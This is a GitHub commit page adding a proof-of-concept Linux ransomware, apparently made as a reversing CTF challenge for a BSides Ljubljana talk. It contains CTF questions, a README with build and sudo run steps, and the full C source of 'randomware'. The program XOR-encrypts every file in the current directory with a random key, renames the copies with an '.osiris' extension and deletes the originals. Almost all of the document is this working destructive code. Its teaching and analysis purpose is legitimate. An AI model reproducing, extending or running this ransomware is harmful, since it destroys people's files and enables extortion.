Skip to content

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
afjoseph committed Mar 11, 2019
1 parent a48bbf7 commit 7baeca1
Show file tree
Hide file tree
Showing 3 changed files with 199 additions and 0 deletions.
9 changes: 9 additions & 0 deletions QUESTIONS.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
Questions
=========

1. What type of ELF file is this?
2. What is the value of `Elf64_Ehdr.e_version` in this file?
3. What is the segment type that contains the section `.init_array`?
4. What is the virtual address of the entrypoint of the binary?
5. What is the decryption key?
6. What algorithm is used for encryption?
21 changes: 21 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
Proof of Concept Linux Ransomware
=================================

This is a simple ransomware created for [BSides Ljubljana 0x7E3](https://0x7e3.bsidesljubljana.si/reversing-mobile-malware-abdullah-joseph/).

The idea is to prove that writing a blindly destructive piece of software is not only very simple, but can be achieved with less than 200 lines of code.

CTF questions are [here](QUESTIONS.md).

Feel free to post the write-up anywhere

## Building & Usage (**DO NOT EXECUTE**)

```bash
$ clang randomware.c -o ~/randomware
$ strip --strip-all ~/randomware # Skip this step for easier analysis
$ sudo ~/randomware
```

## Disclaimer
This software was created purely for research purposes.
169 changes: 169 additions & 0 deletions randomware.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,169 @@
/*
* PoC Ransomware
* Copyright (C) 2019 Abdullah Joseph (afjoseph)
*/
/**********************************************************************************************************************/

#include <dirent.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <libgen.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

/* This is the new extension of a "ransomed" file */
#define RANSOMED_EXT ".osiris"
#define CHARSET "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
#define KEY_LEN 32

#define DBG

/* Count of crypted files */
/*static int Enc_Files = 0;*/

/* never displayed msg */
const char *never_displayed = "Randomware by [afjoseph]";

void rand_str(char *dest, size_t size) {
for (size_t n = 0; n < size; n++) {
int key = rand() % (int)(sizeof CHARSET - 1);
dest[n] = CHARSET[key];
}
dest[size] = '\0';
}

void encrypt_block(uint8_t *ret_char, uint8_t char_to_xor, int counter,
const uint8_t *key, size_t len_key) {
uint8_t key_char = key[counter % len_key];
*ret_char = char_to_xor ^ key_char;

#ifdef DBG
printf("counter = %d\n", counter);
printf("key_char = 0x%02x\n", key_char);
printf("byte_to_xor = 0x%02x\n", char_to_xor);
printf("ret_char = 0x%02x\n", *ret_char);
#endif
}

int is_filename_proper(const char *filename) {
// Don't iterate over dots
if (strcmp(".", filename) == 0 || strcmp("..", filename) == 0) {
return 1;
}

// Don't delete yourself or already encrypted files
if (strstr(filename, "randomware") != 0 ||
strstr(filename, ".osiris") != 0) {
return 1;
}

return 0;
}

void encrypt_file(const char *orig_filepath, const uint8_t *key,
size_t len_key) {
char *bname;
char *new_filepath;
int origfile_fd, newfile_fd;
struct stat st;
int i;
uint8_t *mem, *newmem;

bname = basename((char *)orig_filepath);

if (is_filename_proper(bname) != 0) {
return;
}

if ((origfile_fd = open(orig_filepath, O_RDONLY)) < 0) {
fprintf(stderr, "[!] open failed %s\n", orig_filepath);
return;
}

if (fstat(origfile_fd, &st) < 0) {
fprintf(stderr, "[!] fstat failed %s\n", orig_filepath);
return;
}

// Open new file for writing
new_filepath = strdup(orig_filepath);
strcat(new_filepath, RANSOMED_EXT);
#ifdef DBG
printf("new filepath: %s\n", new_filepath);
#endif

if ((newfile_fd = open(new_filepath, O_WRONLY | O_CREAT | O_TRUNC)) < 0) {
fprintf(stderr, "[!] open failed %s\n", new_filepath);
return;
}

fchmod(newfile_fd, st.st_mode); // Don't handle error

// Copy memory
mem = (uint8_t *)mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, origfile_fd,
0);
if (mem == MAP_FAILED) {
fprintf(stderr, "[!] mmap failed\b");
return;
}

newmem = (uint8_t *)alloca(st.st_size);

#ifdef DBG
printf("\torig_filepath: %s\n", orig_filepath);
printf("\tsize of file %ld\n", st.st_size);
printf("\tfirst 4 bytes:\n");
for (i = 0; i < 4; i++) {
printf("\t%d: %02x\n", i, mem[i]);
}

printf("\tLast byte:\n");
printf("\t%ld: %02x\n", st.st_size, mem[st.st_size - 2]);
printf("\n");
#endif

for (i = 0; i < st.st_size; i++) {
encrypt_block(&newmem[i], mem[i], i, key, len_key);
#ifdef DBG
printf("\rprogress: %ld\r", (i / st.st_size) * 100);
#endif
}

if ((write(newfile_fd, newmem, st.st_size)) <= 0) {
fprintf(stderr, "[!] write failed %s", new_filepath);
return;
}

remove(orig_filepath); // Don't handle any errors

close(newfile_fd);
close(origfile_fd);
}

int main(int argc, char **argv) {
DIR *d;
struct dirent *dir;
char *key;

key = (char *) alloca(KEY_LEN * sizeof(char));
rand_str(key, KEY_LEN);

#ifdef DBG
printf("key is: %s\n", key);
#endif

d = opendir(".");
if (d) {
while ((dir = readdir(d)) != NULL) {
encrypt_file(dir->d_name, (const uint8_t *)key, KEY_LEN);
}

closedir(d);
}
}

0 comments on commit 7baeca1

Please sign in to comment.